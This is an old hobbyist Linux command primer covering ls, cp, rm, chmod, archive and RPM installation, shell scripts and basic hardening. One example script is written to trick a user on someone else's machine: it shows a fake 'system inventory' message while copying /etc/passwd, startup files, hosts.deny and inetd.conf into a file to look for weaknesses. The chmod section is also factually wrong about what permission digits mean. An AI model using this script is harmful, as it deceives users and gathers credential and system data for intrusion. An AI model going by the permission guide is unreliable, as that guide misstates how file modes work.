This file will list a bunch of common commands that you will need to know to get around in linux, and i will include the options to run with them. *NOTE* - when Linux responds with a ^ in it, that stands for the Ctrl button. ls = default dir listing ls -l -a | more = dir listing that displays who owns the file, the attributes on the file, and stop after it has filled a page, hit spacebar to see the next page. cp = copy files to new areas, the file that is copyed will remain in place, and you can rename the file to something else when you copy(i.e. cp /etc/inetd.conf /root/inetd.conf.bak) will create the same file as inetd in the root dir mv = moves files, once its moved, the old file no longer exists, so be careful and dont bash files cd = change dirs, same with DOS, except dont forget that it is now a / instead of a \ rm = removes files, it will prompt you for removal rm -rf filename = will remove all the files without prompting and will be permanently bashed *USE CAUTION* - easy to fuck up, harder to fix =) cat = diplay the contents of a file # = used to comment out parts of files man = brings up a manual page for that command hit the arrow keys to scroll thru the text, and just hit the Q button to excape >> = output text from cat to a new file ^C or ^X = common emergency exits from a program ps = lists all processes running for the current user ps aux = lists all the add processes ps aux | grep = shows all of roots processes kill = used to kill stuck processes listed above * (wildcard) = same as with dos, you can save some typing by using this for example, lets say you wanted to edit a file called really-long-file.txt , just type "pico really*" ./ = use this in front of an executable that you wish to run if the file is not in one of your $PATH 's, then it will always be needed to run with this line in front of it chown = change owner of file, for example, lets say you have a file that you want Joe to own and be able to use and manipulate, you would simply type chown Joe filename chmod = change modes of a file, this gets tricky, there are certain ways of doing this, i prefer to use numbers to do it. usage: "chown " EXAMPLE OF MODES TO USE ********************************************************* * 7 7 7 --this mode will make the file executable * * and all users , both root, regs, and * * unknowns will be able to manipulate it * * * * the first digit is root, second is everyone else, * * and the third is unknown people * * * * 7 = executable permissions * * 6 = read and write permissions * * 5 = something, rarely used * * 4 = readable only * * 3 = not used too much * * 2 = writable only * * 1 = just dont know * * * * So if you wanted to create an exucutable that only * * root could use, type chmod 700 filename, or 770 for * * users to execute it too, or 777 for everyone. To * * make a file only readable and writable by root, use * * 600. For further info, see chmod's manual page. * ********************************************************** Some programs that come in handy. pico - text editor, my fav. for command line emacs - I suggest using this in X, its nice, got tons of options and will take an incredibly long time to learn them all =) telnet - duh BitchX - www.bitchx.com its an IRC client nmap - www.insecure.org/nmap/ great port scanner for Linux, so many command line options, it will keep you busy for quite a while licq - http://licq.wibble.net Linux version of ICQ tik.tcl - www.aol.com in free downloads section, basically an AOL IM proggie for Linux, great for private, one on one convos. gcc - default C compiler, use as follows: gcc -o file file.c of course, replace the file and file.c to the proper names g++ - C++ compiler, use just like above: g++ -o file file.c c++ - exact same as above unzip - used to Unzip .zip archives, commonly found on windows boxes perl - used to compile Perl scripts, great for webmasters How to gunzip and untar files that are in .tar.gz or .tgz format *NOTE* all commands are without the " " - first, put the file in its own dir, easier this way - next, type "gunzip filename.tar.gz" - then type "tar -xvf filename.tar" - that will install the files for config'ing and making - now read the fucking manual - most programs can be compiled by typing "./configure" - then "make" - then "install" - Once again, read before you proceed How to install source RPMS. - First cp the file to /usr/src/your-platform-here/SRPMS - then go to that dir and type "rpm -iv filename.src.rpm" - now it will say 'installing such-and-such' - cd to the SPECS dir, and type "rpm -bp filename.spec" - after that, cd to BUILD and follow the instuctions How to make shell scripts. - Shell scripts are nothing more that files that will execute various commands (great for running networks, and doing mundane tasks that would take a great deal of time to run them individualy. After you make a new text file that contains all the commands you want to execute, you need to do a "chmod 700 scipt-name" to make it executable, then you just run it and it will do the rest. *******EXAMPLES******* pico a new file called whatever in this file, type: mount /dev/cdrom /mnt/cdrom cd /mnt/cdrom hit Cntrl X to exit the editor if its pico , or Cntrl C and X if its emacs -- Here is one that i made to take a system inventory of someones Linux box and to save the file into a text that can be retrieved later. clear # change this part to something that will trick the user into believing it # will do something than what it usually does echo This program will take a system inventory and concatenate it to echo a new file for later use cd $HOME cat .bashrc >> /info-file #check start-up program forweaknesses cat .profile >> /info-file #check profile for the same cat /etc/hosts.deny >> /info-file #see who's IP's he has blocked cat /etc/passwd >> /info-file #look at passwd list and make a copy cat /etc/indetd.conf >> /info-file #see which ports he has open ps >> info-/file #see processes running/find holes clear echo Loading ... ... ... ... echo all done! # due to the fact that in some cases the file called .profile doesnt exist # for the current user, the Loading part, which is nothing more than a # fooling agent, is echo'd after its done its checks, and the screen is # cleared, therefore it wont end saying "cat: .profile not found" # Written by .:JB:. , used in conjunction with NidgiD's program & idea. -- for the above, just use your imagination and try some stuff out Common things to do for system security. - first, chmod everything that no one else should look at - edit /etc/inetd.conf and add a # in front of every service you dont want available, such as telnet, comment it with a # and no one can telnet to you. This doesnt mean that you cant use telnet to call other computers. - edit /etc/hosts.deny and add ALL:ALL to the end of the file, then no IP can connect to you - in the dir /etc there is an executable that is named shadow Other things to do. - copy /etc/DIR_COLORS to /root/.dir_colors - edit this file to specify you own colors for files - edit /root/.bashrc and learn about aliases example: to make any call to "ls" give an ls -l -a | more and add color type this exact line after the last alias: alias ls='ls -l -a --color=always | more' Make sure that .dir_colors is copied into your home dir - the file called .profile in your $HOME dir is a good file to add executables to run when you log in. Side Notes. - if and when you make a regular user account (which is sometimes a great idea, not near as easy to fuck something up) just type the command "su" and that will ask for the root password, easy for gaining root without first logging out, then back in. -This file is far from complete, check back frequently for new additions Written by .:JB:.